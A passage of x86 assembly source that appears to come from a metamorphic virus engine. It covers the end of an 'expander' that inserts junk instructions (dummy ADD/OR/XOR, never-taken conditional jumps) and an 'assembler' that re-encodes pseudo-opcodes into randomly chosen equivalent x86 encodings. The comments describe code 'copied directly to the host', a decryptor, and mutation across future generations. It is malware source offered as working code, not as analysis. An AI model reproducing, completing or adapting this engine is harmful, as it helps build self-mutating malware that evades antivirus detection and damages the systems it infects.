@@Continue: mov [ebp+Xp_Mem_Index1], eax ; Set the index1 register
|
|
mov eax, 8
|
|
mov [ebp+Xp_Mem_Index2], eax ; Set the index2 as <no_reg>
|
|
pop edx
|
|
ret
|
|
Xp_GetTempVar endp
|
|
|
|
;; This function generates garbage instructions that will be eliminated by the
|
|
;; shrinker. They are compressed to NOPs.
|
|
Xp_InsertGarbage proc
|
|
call Random
|
|
and eax, 7 ; Get a random method
|
|
or eax, eax
|
|
jz @@MakeOneByter ; Make a one byte instruction
|
|
cmp eax, 1
|
|
jz @@MakeMOVRegReg ; Make MOV Reg,Reg (the same reg)
|
|
cmp eax, 2
|
|
jz @@MakeANDs1 ; Make AND Reg,-1
|
|
cmp eax, 3
|
|
jz @@MakeOR0 ; Make OR Reg,0
|
|
cmp eax, 4
|
|
jz @@MakeXOR0 ; Make XOR Reg,0
|
|
cmp eax, 5
|
|
jz @@MakeADD0 ; Make ADD Reg,0
|
|
cmp eax, 6
|
|
jz @@MakeCMPJcc ; Make CMP Reg,Reg/Jcc (Jcc never
|
|
; jumps)
|
|
jmp Xp_InsertGarbage ; Select another if 7
|
|
|
|
@@MakeADD0:
|
|
xor eax, eax ; Set the operation ADD
|
|
mov [ebp+Xp_Operation], eax
|
|
@@MakeOP0:
|
|
xor eax, eax ; Imm = 0
|
|
mov [ebp+Xp_Immediate], eax
|
|
@@MakeOPx:
|
|
xor eax, eax ; Set 0 at the field of labels
|
|
mov [edi+0Bh], eax
|
|
mov [edi+0Ch], esi ; Set the instruction pointer
|
|
xor eax, eax
|
|
mov [ebp+Xp_8Bits], eax ; Set "32 bits"
|
|
@@MakeOPReg0:
|
|
call Random ; Get a random register. It must not
|
|
and eax, 7 ; be ESP nor the delta register
|
|
cmp eax, 4
|
|
jz @@MakeOPReg0
|
|
cmp eax, [ebp+TranslatedDeltaRegister]
|
|
jz @@MakeOPReg0
|
|
mov [ebp+Xp_Register], eax ; Set the register and make
|
|
call Xp_GenOPRegImm ; the operation
|
|
ret
|
|
|
|
@@MakeOR0:
|
|
mov eax, 8 ; Set operation OR
|
|
mov [ebp+Xp_Operation], eax
|
|
jmp @@MakeOP0
|
|
|
|
@@MakeXOR0:
|
|
mov eax, 30h ; Set operation XOR
|
|
mov [ebp+Xp_Operation], eax
|
|
jmp @@MakeOP0
|
|
|
|
@@MakeANDs1:
|
|
mov eax, 20h ; Set operation AND
|
|
mov [ebp+Xp_Operation], eax
|
|
mov eax, -1 ; Set -1 as Immediate
|
|
mov [ebp+Xp_Immediate], eax
|
|
jmp @@MakeOPx
|
|
|
|
|
|
@@MakeCMPJcc:
|
|
call Random ; Get a register to compare
|
|
and eax, 7 ; If ESP or delta, we jump to make
|
|
cmp eax, 4 ; other type of garbage. It's better
|
|
jz @@MakeADD0 ; to not use this much, because then
|
|
cmp eax, [ebp+TranslatedDeltaRegister] ; the code uses too
|
|
jz @@MakeADD0 ; many jumps in future generations (in
|
|
; the third dimension :).
|
|
mov [ebp+Xp_Register], eax ; Set the same register as
|
|
mov [ebp+Xp_SrcRegister], eax ; source and destiny
|
|
xor eax, eax
|
|
mov [ebp+Xp_8Bits], eax ; Set 32 bits size
|
|
mov [edi+0Bh], eax ; Clear the label flag and set
|
|
mov [edi+0Ch], esi ; the pointer
|
|
mov eax, 38h ; CMP Reg,Reg
|
|
mov [ebp+Xp_Operation], eax
|
|
call Xp_GenOPRegReg ; Generate the operation
|
|
call Xp_GetSpecialJcc ; Get a special Jcc that never
|
|
mov [ebp+Xp_Operation], eax ; jumps
|
|
@@OtherLabel:
|
|
call Random ; Get a random label from the
|
|
and eax, 01F8h ; list of labels
|
|
cmp eax, [ebp+NumberOfLabels]
|
|
jae @@OtherLabel
|
|
add eax, [ebp+LabelTable] ; Make it jump there (in theory)
|
|
mov [ebp+Xp_Immediate], eax
|
|
call Xp_GenJcc_SingleJcc ; Generate a single Jcc
|
|
ret
|
|
|
|
@@MakeMOVRegReg:
|
|
call Random ; Get a random register
|
|
and eax, 7
|
|
cmp eax, 4
|
|
jz @@MakeMOVRegReg
|
|
cmp eax, [ebp+TranslatedDeltaRegister]
|
|
jz @@MakeMOVRegReg
|
|
mov [ebp+Xp_Register], eax ; Set it as source & dest.
|
|
mov [ebp+Xp_SrcRegister], eax
|
|
xor eax, eax
|
|
mov [ebp+Xp_8Bits], eax ; Set 32 bits size
|
|
mov [edi+0Bh], eax
|
|
mov [edi+0Ch], esi ; Clear label and set pointer
|
|
mov eax, 40h
|
|
mov [ebp+Xp_Operation], eax ; Make MOV Reg,Reg
|
|
call Xp_GenOPRegReg
|
|
ret
|
|
|
|
@@MakeOneByter:
|
|
call RandomBoolean ; Get random TRUE or FALSE
|
|
or eax, eax
|
|
jz @@OnlyNOP ; If FALSE, make a NOP
|
|
call Random
|
|
and eax, 0100h ; Get CLC or STC
|
|
add eax, 0F8FDh ; Set the instruction as a direct
|
|
jmp @@OtherOneByter ; byte
|
|
@@OnlyNOP: mov eax, 90FDh ; Set NOP
|
|
@@OtherOneByter:
|
|
mov [edi], eax ; Set the instruction
|
|
xor eax, eax
|
|
mov [edi+0Bh], eax ; Clear the "label-on" flag
|
|
mov [edi+0Ch], esi ; Set the pointer
|
|
add edi, 10h
|
|
call Random ; Select if we make again other
|
|
and eax, 0Fh ; random byte (a prob. of 1/16)
|
|
or eax, eax
|
|
jz @@MakeOneByter
|
|
ret
|
|
Xp_InsertGarbage endp
|
|
;;
|
|
;;
|
|
;; End of the expander
|
|
;;
|
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|
|
|
|
|
;;KEYWORD: Key_!Assembler
|
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|
;;; ********************************************************************** ;;;
|
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|
;;
|
|
;; The assembler
|
|
;; -------------
|
|
;;
|
|
;; This code will convert from our reassembler directly into 80x86 opcodes.
|
|
;;
|
|
;; The assembly is done directly, I mean, this function doesn't add more
|
|
;; instructions randomly, since that work must be done by the expander. The
|
|
;; only random operations this code does is at opcode level.
|
|
;;
|
|
;; The generated code is completely prepared to be copied directly to the
|
|
;; host. All the instructions using relative displacements are fixed and
|
|
;; assembled to randomly their short or long form (when it's possible to use
|
|
;; a short jump). The reassembly also supports foward references.
|
|
;;
|
|
AssembleCode proc
|
|
xor eax, eax
|
|
mov [ebp+NumberOfJumpRelocations], eax ; Initialize the
|
|
; after-assembly jump relocations
|
|
mov esi, [ebp+InstructionTable]
|
|
mov edi, [ebp+NewAssembledCode]
|
|
;; Mark all labels in instructions
|
|
mov ecx, [ebp+NumberOfLabels] ; Let's mark all the
|
|
mov edx, [ebp+LabelTable] ; instructions that has
|
|
@@LoopSetLabel: ; a label, just in case
|
|
mov ebx, [edx+4] ; someone hasn't been
|
|
mov eax, [ebx+0Bh] ; marked before.
|
|
or eax, 01h
|
|
mov [ebx+0Bh], eax
|
|
add edx, 8
|
|
dec ecx
|
|
or ecx, ecx
|
|
jnz @@LoopSetLabel
|
|
|
|
@@LoopAssemble_01:
|
|
mov eax, [esi+0Bh] ; Get the label mark
|
|
and eax, 0FFh ; If it has a label, let's set it
|
|
cmp eax, 1
|
|
jnz @@Assemble_Instruction
|
|
mov eax, [ebp+NumberOfLabels] ; Get the label table
|
|
mov edx, [ebp+LabelTable]
|
|
@@LoopCheckLabel:
|
|
cmp [edx+4], esi ; Search the label. When we find
|
|
jnz @@CheckNextLabel ; it, we set the current assembly
|
|
mov [edx], edi ; EIP.
|
|
@@CheckNextLabel:
|
|
add edx, 8 ; Next
|
|
dec eax
|
|
or eax, eax
|
|
jnz @@LoopCheckLabel
|
|
@@Assemble_Instruction:
|
|
call AssembleInstruction ; Assemble the instruction
|
|
add esi, 10h ; Increase pseudoassembler pointer
|
|
mov eax, [ebp+AddressOfLastInstruction]
|
|
cmp esi, eax ; Is it the last instruction?
|
|
jb @@LoopAssemble_01 ; If not, loop again
|
|
mov [ebp+AddressOfLastInstruction], edi ; Set the last
|
|
; instruction
|
|
mov eax, edi
|
|
sub eax, [ebp+NewAssembledCode] ; Get the size of the code
|
|
mov [ebp+SizeOfNewCode], eax
|
|
add eax, 20h ; Set a mini data frame for some
|
|
; possibilities of the decryptor
|
|
mov ebx, 0F000h ; Let's get the rounded size of the
|
|
@@LoopGetRoundedSize: ; code (rounded up to 4 Kb), with a
|
|
add ebx, 1000h ; minimum value of F000
|
|
cmp ebx, eax
|
|
jb @@LoopGetRoundedSize
|
|
mov [ebp+RoundedSizeOfNewCode], ebx
|
|
|
|
mov eax, 4000h ; Get the size of the code rounded up
|
|
@@LoopGetSizeP2: ; to the next power of 2 (for the
|
|
shl eax, 1 ; Pseudo-Random Index DEcryption)
|
|
cmp eax, [ebp+SizeOfNewCode]
|
|
jb @@LoopGetSizeP2
|
|
mov [ebp+SizeOfNewCodeP2], eax
|
|
|
|
;; Now we are going to complete the jumps that we left until the whole
|
|
;; code is assembled.
|
|
mov esi, [ebp+JumpRelocationTable]
|
|
mov ecx, [ebp+NumberOfJumpRelocations]
|
|
|
|
@@LoopReloc01:
|
|
mov edi, [esi] ; Get the jump and the address
|
|
mov eax, [esi+4]
|
|
mov eax, [eax] ; Get the destiny of the jump
|
|
mov edx, edi ; Get the final address of the jump in
|
|
add edx, 5 ; EDX
|
|
sub eax, edx ; Get the displacement
|
|
mov ebx, [edi] ; Get the type of jump
|
|
and ebx, 0FFh
|
|
cmp ebx, 7Fh ; Is it a short jump?
|
|
jbe @@Short
|
|
cmp ebx, 0EBh ; " " " " "?
|
|
jz @@Short
|
|
mov [edi+1], eax ; Set the displacement for long jumps,
|
|
@@Next: sub ecx, 8 ; CALLs, etc.
|
|
add esi, 8 ; Check next
|
|
or ecx, ecx
|
|
jnz @@LoopReloc01
|
|
ret
|
|
@@Short: add eax, 3 ; Add 3 bytes of displacement (from a
|
|
; length of 5 to a length of 2)
|
|
mov [edi+1], al ; Set the displacement
|
|
jmp @@Next ; Next jump
|
|
AssembleCode endp
|
|
|
|
;; This function assembles the instruction under the pointer in ESI to the
|
|
;; buffer in EDI.
|
|
AssembleInstruction proc
|
|
mov [esi+0Ch], edi ; Set the new address of assembled code
|
|
mov eax, [esi]
|
|
and eax, 0FFh ; Get the pseudoopcode
|
|
cmp eax, 4Ch ; Generic operation?
|
|
ja @@Assemble_Next00 ; If not, check next possibility
|
|
mov ebx, eax
|
|
and ebx, 0F8h
|
|
and eax, 7 ; Get the type of operation
|
|
or eax, eax ; OP Reg,Imm?
|
|
jz @@Assemble_OPRegImm
|
|
cmp eax, 1 ; OP Reg,Reg?
|
|
jz @@Assemble_OPRegReg
|
|
cmp eax, 2 ; OP Reg,Mem?
|
|
jz @@Assemble_OPRegMem
|
|
cmp eax, 3 ; OP Mem,Reg?
|
|
jz @@Assemble_OPMemReg
|
|
@@Assemble_OPMemImm: ; OP Mem,Imm
|
|
cmp ebx, 38h ; If it's 38h or below, code
|
|
jbe @@Assemble_OPMemImm_Normal ; it normally
|
|
cmp ebx, 40h ; MOV?
|
|
jz @@Assemble_MOVMemImm
|
|
@@Assemble_TESTMemImm: ; TEST
|
|
xor ebx, ebx
|
|
mov eax, 0F7h ; Set the x86 opcode F7
|
|
jmp @@Assemble_OPMemImm_Normal_00
|
|
@@Assemble_MOVMemImm:
|
|
xor ebx, ebx ; Set the x86 opcode C7
|
|
mov eax, 0C7h
|
|
jmp @@Assemble_OPMemImm_Normal_00
|
|
@@Assemble_OPMemImm_Normal:
|
|
mov eax, [esi+7] ; Get the value
|
|
cmp eax, 7Fh ; Look if we can code it
|
|
jbe @@Assemble_OPMemImm_Normal_Byte ; as sign-extended
|
|
cmp eax, 0FFFFFF80h
|
|
jae @@Assemble_OPMemImm_Normal_Byte
|
|
@@Assemble_OPMemImm_Normal_Dword:
|
|
mov eax, 81h ; Normal opcode
|
|
@@Assemble_OPMemImm_Normal_00:
|
|
mov [edi], eax ; Set the opcode
|
|
add edi, 1 ; Make the memory address reference
|
|
call Asm_MakeMemoryAddress ; adding the value in EBX
|
|
mov eax, [esi+7] ; Set the value to OP
|
|
mov [edi], eax
|
|
add edi, 4 ; Increase the EIP
|
|
ret ; Return
|
|
@@Assemble_OPMemImm_Normal_Byte:
|
|
call RandomBoolean
|
|
or eax, eax ; Randomly choose if we code it
|
|
jz @@Assemble_OPMemImm_Normal_Dword ; as dword or sign-ext.
|
|
mov eax, 83h ; Set the opcode 83h
|
|
mov [edi], eax
|
|
add edi, 1 ; Construct the memory address
|
|
call Asm_MakeMemoryAddress ; reference.
|
|
mov eax, [esi+7] ; Get the immediate to set
|
|
mov [edi], eax
|
|
add edi, 1 ; Set only a byte
|
|
ret ; Return
|
|
|
|
|
|
@@Assemble_OPRegImm:
|
|
cmp ebx, 38h ; If it's a normal OP, jump
|
|
jbe @@Assemble_OPRegImm_Normal
|
|
cmp ebx, 40h ; MOV?
|
|
jz @@Assemble_MOVRegImm
|
|
@@Assemble_TESTRegImm: ; TEST
|
|
mov eax, [esi+1] ; Get the register
|
|
and eax, 7
|
|
or eax, eax ; If Reg=EAX, we can code it
|
|
jnz @@Assemble_TESTRegImm_NotEAX ; with its own opcode,
|
|
call RandomBoolean ; so select randomly if we do it
|
|
or eax, eax
|
|
jz @@Assemble_TESTRegImm_NotEAX ; Jump if we don't do it
|
|
mov eax, 0A9h ; Set TEST EAX,xxx
|
|
jmp @@Assemble_OPRegImm_OneByteOpcode
|
|
@@Assemble_TESTRegImm_NotEAX:
|
|
mov eax, 0F7h ; Set TEST Reg,xxx
|
|
xor ebx, ebx
|
|
jmp @@Assemble_OPRegImm_Normal_01
|
|
|
|
; MOV
|
|
@@Assemble_MOVRegImm:
|
|
call RandomBoolean ; Get a random TRUE or FALSE
|
|
or eax, eax ; If FALSE, code it with a one
|
|
jz @@Assemble_MOVRegImm_OneByteOpcode ; byte opcode
|
|
mov eax, 0C7h ; Get the two bytes opcode
|
|
xor ebx, ebx
|
|
jmp @@Assemble_OPRegImm_Normal_01
|
|
@@Assemble_MOVRegImm_OneByteOpcode:
|
|
mov eax, [esi+1] ; Get the register
|
|
add eax, 0B8h ; Add B8h to it to get the MOV
|
|
jmp @@Assemble_OPRegImm_OneByteOpcode ; Jump to finish
|
|
@@Assemble_OPRegImm_Normal:
|
|
mov eax, [esi+1] ; Get the register
|
|
and eax, 7 ; Is it EAX?
|
|
or eax, eax
|
|
jnz @@Assemble_OPRegImm_Normal_00 ; If it isn't jump
|
|
call RandomBoolean ; Select randomly to code a
|
|
or eax, eax ; exclusive EAX opcode or not
|
|
jz @@Assemble_OPRegImm_Normal_00 ; If not, jump
|
|
mov eax, ebx ; Add 5 to the generic opcode
|
|
add eax, 5 ; to get an OP EAX,xxx
|
|
@@Assemble_OPRegImm_OneByteOpcode:
|
|
mov [edi], eax ; Store the opcode
|
|
mov eax, [esi+7]
|
|
mov [edi+1], eax ; Store the immediate
|
|
add edi, 5
|
|
ret
|
|
|
|
@@Assemble_OPRegImm_Normal_00: ; 81h = normal OP Reg,Imm opcode
|
|
mov eax, 81h
|
|
@@Assemble_OPRegImm_Normal_01:
|
|
mov [edi], eax ; Set the opcode
|
|
mov eax, [esi+1] ; Set the "use register"
|
|
and eax, 7 ; flag (the bits 7&6 on
|
|
add eax, 0C0h ; the second opcode set to
|
|
add eax, ebx ; 1)
|
|
mov [edi+1], eax
|
|
mov eax, [esi+7] ; Get the immediate and set it
|
|
mov [edi+2], eax
|
|
add edi, 6 ; Add the length of the just coded
|
|
ret ; instruction to the EIP
|
|
|
|
@@Assemble_OPRegReg: ; Check if the operation is normal
|
|
cmp ebx, 38h
|
|
jbe @@Assemble_OPRegReg_Normal ; If it is, jump
|
|
cmp ebx, 40h ; MOV?
|
|
jz @@Assemble_MOVRegReg
|
|
@@Assemble_TESTRegReg: ; TEST
|
|
mov ebx, 85h ; Opcode of TEST
|
|
@@Assemble_TEST8RegReg_00:
|
|
call RandomBoolean ; Select randomly if we use the normal
|
|
or eax, eax ; opcode or the inversed one
|
|
jz @@Assemble_OPRegReg_NextFF
|
|
jmp @@Assemble_OPRegReg_Inversed_2
|
|
|
|
@@Assemble_MOVRegReg:
|
|
mov ebx, 88h ; MOV opcode
|
|
@@Assemble_OPRegReg_Normal:
|
|
add ebx, 1 ; Set 32 bits
|
|
@@Assemble_OP8RegReg_Normal:
|
|
call RandomBoolean ; Select if we inverse it
|
|
or eax, eax
|
|
jz @@Assemble_OPRegReg_Inversed
|
|
@@Assemble_OPRegReg_NextFF:
|
|
mov ecx, [esi+1] ; Get in ECX the source
|
|
mov edx, [esi+7] ; Get in EDX the destiny
|
|
jmp @@Assemble_OPRegReg_Next00 ; Jump to complete
|
|
@@Assemble_OPRegReg_Inversed:
|
|
add ebx, 2 ; If inversed, add 2 to the opcode
|
|
@@Assemble_OPRegReg_Inversed_2:
|
|
mov ecx, [esi+7] ; Get in ECX the destiny
|
|
mov edx, [esi+1] ; Get in EDX the source
|
|
@@Assemble_OPRegReg_Next00:
|
|
mov [edi], ebx ; Set the opcode
|
|
mov eax, ecx ; Set ECX in bits 5,4,3 and EDX in
|
|
shl eax, 3 ; bits 2,1,0
|
|
add eax, 0C0h ; Activate bits 7&6 to use bits 2,1,0
|
|
add eax, edx ; as a register rather than as a
|
|
mov [edi+1], eax ; memory operand.
|
|
add edi, 2 ; Store it and increment the EIP
|
|
ret
|
|
|
|
@@Assemble_OPRegMem:
|
|
cmp ebx, 38h ; Normal operation?
|
|
jbe @@Assemble_OPRegMem_Normal ; Then jump
|
|
cmp ebx, 40h ; MOV?
|
|
jz @@Assemble_MOVRegMem ; Then jump
|
|
@@Assemble_TESTRegMem: ; TEST
|
|
mov ebx, 85h ; Set the opcode
|
|
jmp @@Assemble_OPRegMem_Normal_00
|
|
@@Assemble_MOVRegMem:
|
|
mov ebx, 88h ; +3 = 8Bh
|
|
@@Assemble_OPRegMem_Normal:
|
|
add ebx, 3
|
|
@@Assemble_OPRegMem_Normal_00:
|
|
mov [edi], ebx ; Set the opcode
|
|
add edi, 1
|
|
mov ebx, [esi+7] ; Get the register
|
|
and ebx, 7 ; Mix it with the memory address
|
|
shl ebx, 3 ; opcode data
|
|
call Asm_MakeMemoryAddress ; Construct the mem. reference
|
|
ret
|
|
|
|
@@Assemble_OPMemReg:
|
|
cmp ebx, 38h ; Generic operation?
|
|
jbe @@Assemble_OPMemReg_Normal
|
|
cmp ebx, 40h ; MOV?
|
|
jnz @@Assemble_TESTRegMem ; Jump if it's TEST
|
|
@@Assemble_MOVMemReg:
|
|
mov ebx, 88h ; Set MOV opcode (+1 = 32 bits op.)
|
|
;jmp @@Assemble_OPRegMem_Normal_00
|
|
@@Assemble_OPMemReg_Normal:
|
|
add ebx, 1
|
|
jmp @@Assemble_OPRegMem_Normal_00
|
|
|
|
;;;-------------------------------------------------
|
|
|
|
; Assembly of INC/DEC Reg
|
|
@@Assemble_INCDECReg:
|
|
call RandomBoolean ; Select one codification or other
|
|
or eax, eax ; If EAX=0, use INC/DEC Mem opcode
|
|
jz @@Assemble_INCDECReg_2 ; forced to register usage
|
|
@@Assemble_INCDECReg_1:
|
|
mov eax, [esi+7] ; Get the operation (0=INC, 8=DEC)
|
|
add eax, 40h ; Make it 40h/48h (x86 opcode)
|
|
@@Assemble_INCDECReg_Common:
|
|
add eax, [esi+1] ; Bind the register to the opcode
|
|
mov [edi], eax ; and write it
|
|
add edi, 1
|
|
ret
|
|
@@Assemble_INCDECReg_2:
|
|
mov eax, 0FFh ; INC/DEC/etc. Mem32 extended opcode
|
|
@@Assemble_INCDECReg_2_8b:
|
|
mov [edi], eax ; Write it
|
|
add edi, 1
|
|
mov eax, [esi+7] ; Get the operation (0 or 8)
|
|
add eax, 0C0h ; Force it to use registers
|
|
jmp @@Assemble_INCDECReg_Common ; Jump to complete it
|
|
@@Assemble_INCDECReg_8b:
|
|
mov eax, 0FEh ; INC/DEC/PUSH/etc. Mem8 opcode
|
|
jmp @@Assemble_INCDECReg_2_8b
|
|
|
|
@@Assemble_INCDECMem:
|
|
mov eax, 0FFh ; FF = Extended opcode for INC, DEC, etc.
|
|
@@Assemble_INCDECMem_2_8b: ; (32 bits)
|
|
mov [edi], eax ; Set the opcode
|
|
add edi, 1
|
|
mov ebx, [esi+7] ; Get the operation and bind it to the
|
|
call Asm_MakeMemoryAddress ; memory operand codification
|
|
ret ; (in 2nd opcode)
|
|
@@Assemble_INCDECMem_8b:
|
|
mov eax, 0FEh ; INC/DEC/PUSH/etc. opcode for 8 bits
|
|
jmp @@Assemble_INCDECMem_2_8b
|
|
|
|
|
|
@@Assemble_Next00:
|
|
cmp eax, 4Eh ; INC/DEC Reg32 pseudoopcode?
|
|
jz @@Assemble_INCDECReg
|
|
cmp eax, 4Eh+80h ; INC/DEC Reg8 pseudoopcode?
|
|
jz @@Assemble_INCDECReg_8b
|
|
cmp eax, 4Fh ; INC/DEC Mem32 pseudoopcode?
|
|
jz @@Assemble_INCDECMem
|
|
cmp eax, 4Fh+80h ; INC/DEC Mem8 pseudoopcode?
|
|
jz @@Assemble_INCDECMem_8b
|
|
|
|
|
|
@@Assemble_Next00_: ; Generic 8 bits opcodes
|
|
cmp eax, 00h+80h
|
|
jb @@Assemble_Next01
|
|
cmp eax, 4Ch+80h
|
|
ja @@Assemble_Next01
|
|
mov ebx, eax ; Get the type of operation
|
|
and ebx, 78h
|
|
and eax, 7
|
|
or eax, eax ; OP Reg,Imm?
|
|
jz @@Assemble_OP8RegImm
|
|
cmp eax, 1 ; OP Reg,Reg?
|
|
jz @@Assemble_OP8RegReg
|
|
cmp eax, 2 ; OP Reg,Mem?
|
|
jz @@Assemble_OP8RegMem
|
|
cmp eax, 3 ; OP Mem,Reg?
|
|
jz @@Assemble_OP8MemReg
|
|
@@Assemble_OP8MemImm: ; OP Mem,Imm
|
|
cmp ebx, 38h
|
|
jbe @@Assemble_OP8MemImm_Normal ; Jump if it's not MOV/TEST
|
|
cmp ebx, 40h ; MOV?
|
|
jz @@Assemble_MOV8MemImm
|
|
@@Assemble_TEST8MemImm: ; TEST
|
|
xor ebx, ebx
|
|
mov eax, 0F6h ; x86 TEST Mem8,Imm opcode
|
|
call @@Assemble_OPMemImm_Normal_00 ; Assemble it
|
|
sub edi, 3 ; Subtract 3 because it added
|
|
ret ; DWORD length, not byte length
|
|
@@Assemble_MOV8MemImm:
|
|
xor ebx, ebx ; The same as with TEST, but with
|
|
mov eax, 0C6h ; the opcode 0C6h
|
|
call @@Assemble_OPMemImm_Normal_00
|
|
sub edi, 3
|
|
ret
|
|
@@Assemble_OP8MemImm_Normal:
|
|
call Random ; Select randomly 80h or 82h (for
|
|
and eax, 2 ; 8 bits both are the same)
|
|
add eax, 80h
|
|
call @@Assemble_OPMemImm_Normal_00
|
|
sub edi, 3
|
|
ret
|
|
|
|
@@Assemble_OP8RegImm:
|
|
cmp ebx, 38h ; Jump if not MOV/TEST
|
|
jbe @@Assemble_OP8RegImm_Normal
|
|
cmp ebx, 40h ; MOV?
|
|
jz @@Assemble_MOV8RegImm
|
|
@@Assemble_TEST8RegImm: ; Let's code TEST
|
|
mov eax, [esi+1] ; Get the register in EAX
|
|
and eax, 7
|
|
or eax, eax ; If Reg == AL, we can use
|
|
jnz @@Assemble_TEST8RegImm_NotEAX ; the specific opcode for
|
|
call RandomBoolean ; AL register: A8h
|
|
or eax, eax
|
|
jz @@Assemble_TEST8RegImm_NotEAX
|
|
mov eax, 0A8h
|
|
call @@Assemble_OPRegImm_OneByteOpcode
|
|
sub edi, 3
|
|
ret
|
|
@@Assemble_TEST8RegImm_NotEAX: ; If it's not AL, then we
|
|
mov eax, 0F6h ; use the normal opcode: F6
|
|
xor ebx, ebx ; (the same as with TEST Reg,
|
|
call @@Assemble_OPRegImm_Normal_01 ; Mem but with the
|
|
sub edi, 3 ; register usage activated.
|
|
ret
|
|
@@Assemble_MOV8RegImm:
|
|
call RandomBoolean ; If MOV, we can use the
|
|
or eax, eax ; normal, one-byte opcode
|
|
jz @@Assemble_MOV8RegImm_OneByteOpcode ; or the opcode used
|
|
mov eax, 0C6h ; for MOV Mem,Imm but with
|
|
xor ebx, ebx ; register usage active.
|
|
call @@Assemble_OPRegImm_Normal_01
|
|
sub edi, 3
|
|
ret
|
|
@@Assemble_MOV8RegImm_OneByteOpcode:
|
|
mov eax, [esi+1]
|
|
add eax, 0B0h ; MOV Reg8,Imm
|
|
call @@Assemble_OPRegImm_OneByteOpcode
|
|
sub edi, 3
|
|
ret
|
|
@@Assemble_OP8RegImm_Normal:
|
|
mov eax, [esi+1] ; If the register is AL, we
|
|
and eax, 7 ; can use the AL exclusive
|
|
or eax, eax ; opcode
|
|
jnz @@Assemble_OP8RegImm_Normal_00
|
|
call RandomBoolean ; Do we use it?
|
|
or eax, eax
|
|
jz @@Assemble_OP8RegImm_Normal_00 ; If no, jump
|
|
mov eax, ebx ; Get the opcode
|
|
add eax, 4 ; Add 4 to the opcode to make
|
|
call @@Assemble_OPRegImm_OneByteOpcode ; it "OP AL,x"
|
|
sub edi, 3
|
|
ret
|
|
@@Assemble_OP8RegImm_Normal_00:
|
|
call Random ; The same as with OP Reg,Imm: both
|
|
and eax, 2 ; 80h and 82h opcodes are valid for
|
|
add eax, 80h ; these instructions.
|
|
call @@Assemble_OPRegImm_Normal_01
|
|
sub edi, 3
|
|
ret
|
|
|
|
@@Assemble_OP8RegReg:
|
|
cmp ebx, 38h ; Jump if it's not MOV/TEST
|
|
jbe @@Assemble_OP8RegReg_Normal
|
|
cmp ebx, 40h
|
|
jz @@Assemble_MOV8RegReg
|
|
@@Assemble_TEST8RegReg: ; TEST?
|
|
mov ebx, 84h ; Then use TEST opcode
|
|
jmp @@Assemble_TEST8RegReg_00
|
|
@@Assemble_MOV8RegReg:
|
|
mov ebx, 88h ; Use MOV opcode
|
|
jmp @@Assemble_OP8RegReg_Normal
|
|
|
|
|
|
@@Assemble_OP8RegMem:
|
|
cmp ebx, 38h ; As always...
|
|
jbe @@Assemble_OP8RegMem_Normal
|
|
cmp ebx, 40h
|
|
jz @@Assemble_MOV8RegMem
|
|
@@Assemble_TEST8RegMem:
|
|
mov ebx, 84h ; TEST opcode
|
|
jmp @@Assemble_OPRegMem_Normal_00
|
|
@@Assemble_MOV8RegMem:
|
|
mov ebx, 88h ; MOV opcode
|
|
@@Assemble_OP8RegMem_Normal:
|
|
add ebx, 2
|
|
jmp @@Assemble_OPRegMem_Normal_00
|
|
|
|
|
|
@@Assemble_OP8MemReg:
|
|
cmp ebx, 38h ; Again...
|
|
jbe @@Assemble_OPRegMem_Normal_00
|
|
cmp ebx, 40h ; TEST Reg,Mem = TEST Mem,Reg
|
|
jnz @@Assemble_TEST8RegMem
|
|
@@Assemble_MOV8MemReg:
|
|
mov ebx, 88h ; MOV opcode
|
|
jmp @@Assemble_OPRegMem_Normal_00
|
|
|
|
|
|
;;;-------------------------------------------------
|
|
@@Assemble_Next01:
|
|
cmp eax, 50h ; PUSH pseudoopcode?
|
|
jnz @@Assemble_Next02
|
|
call RandomBoolean ; Select if we use the specific
|
|
or eax, eax ; register opcode or the memory
|
|
jz @@Assemble_PUSHReg_2 ; opcode set up to use registers
|
|
@@Assemble_PUSHReg_1:
|
|
mov eax, [esi] ; Get the opcode (50h or 58h)
|
|
and eax, 0FFh
|
|
mov ebx, [esi+1] ; Bind the register
|
|
add eax, ebx
|
|
@@Assemble_StoreByte:
|
|
mov [edi], eax ; Store the one-byte opcode
|
|
add edi, 1
|
|
ret
|
|
@@Assemble_PUSHReg_2:
|
|
mov eax, 0FFh ; Two bytes opcode for PUSH Reg is
|
|
mov [edi], eax ; FF,(F0 + Reg)
|
|
mov eax, [esi+1]
|
|
add eax, 0F0h
|
|
mov [edi+1], eax
|
|
add edi, 2
|
|
ret
|
|
|
|
@@Assemble_Next02:
|
|
cmp eax, 58h ; POP Reg?
|
|
jnz @@Assemble_Next03
|
|
call RandomBoolean ; Select one-byte or two-bytes opc.
|
|
or eax, eax
|
|
jz @@Assemble_PUSHReg_1 ; POP Reg (one byte opcode)
|
|
@@Assemble_POPReg_2:
|
|
mov eax, 8Fh ; Two bytes POP Reg opcode is
|
|
mov [edi], eax ; 8F,(C0 + Reg)
|
|
mov eax, [esi+1]
|
|
add eax, 0C0h
|
|
mov [edi+1], eax
|
|
add edi, 2
|
|
ret
|
|
|
|
@@Assemble_Next03:
|
|
cmp eax, 51h ; PUSH Mem?
|
|
jnz @@Assemble_Next04
|
|
mov eax, 0FFh ; Opcode is FF,(30+mem codification)
|
|
mov ebx, 30h
|
|
@@Assemble_POPMem:
|
|
mov [edi], eax ; Set opcode (FF or 8F)
|
|
add edi, 1
|
|
call Asm_MakeMemoryAddress ; Code the memory reference
|
|
ret
|
|
|
|
@@Assemble_Next04:
|
|
cmp eax, 59h ; POP Mem?
|
|
jnz @@Assemble_Next05
|
|
mov eax, 8Fh ; Opcode is 8F,(00+mem codification)
|
|
xor ebx, ebx
|
|
jmp @@Assemble_POPMem
|
|
|
|
|
|
@@Assemble_Next05:
|
|
cmp eax, 68h ; PUSH Imm?
|
|
jnz @@Assemble_Next06
|
|
mov [edi], eax ; Set opcode 68h
|
|
mov eax, [esi+7] ; Get the Imm to push
|
|
cmp eax, 7Fh
|
|
jbe @@Assemble_PUSHImm_Byte ; Check if we can use the
|
|
cmp eax, 0FFFFFF80h ; PUSH signed-Imm opcode
|
|
jae @@Assemble_PUSHImm_Byte
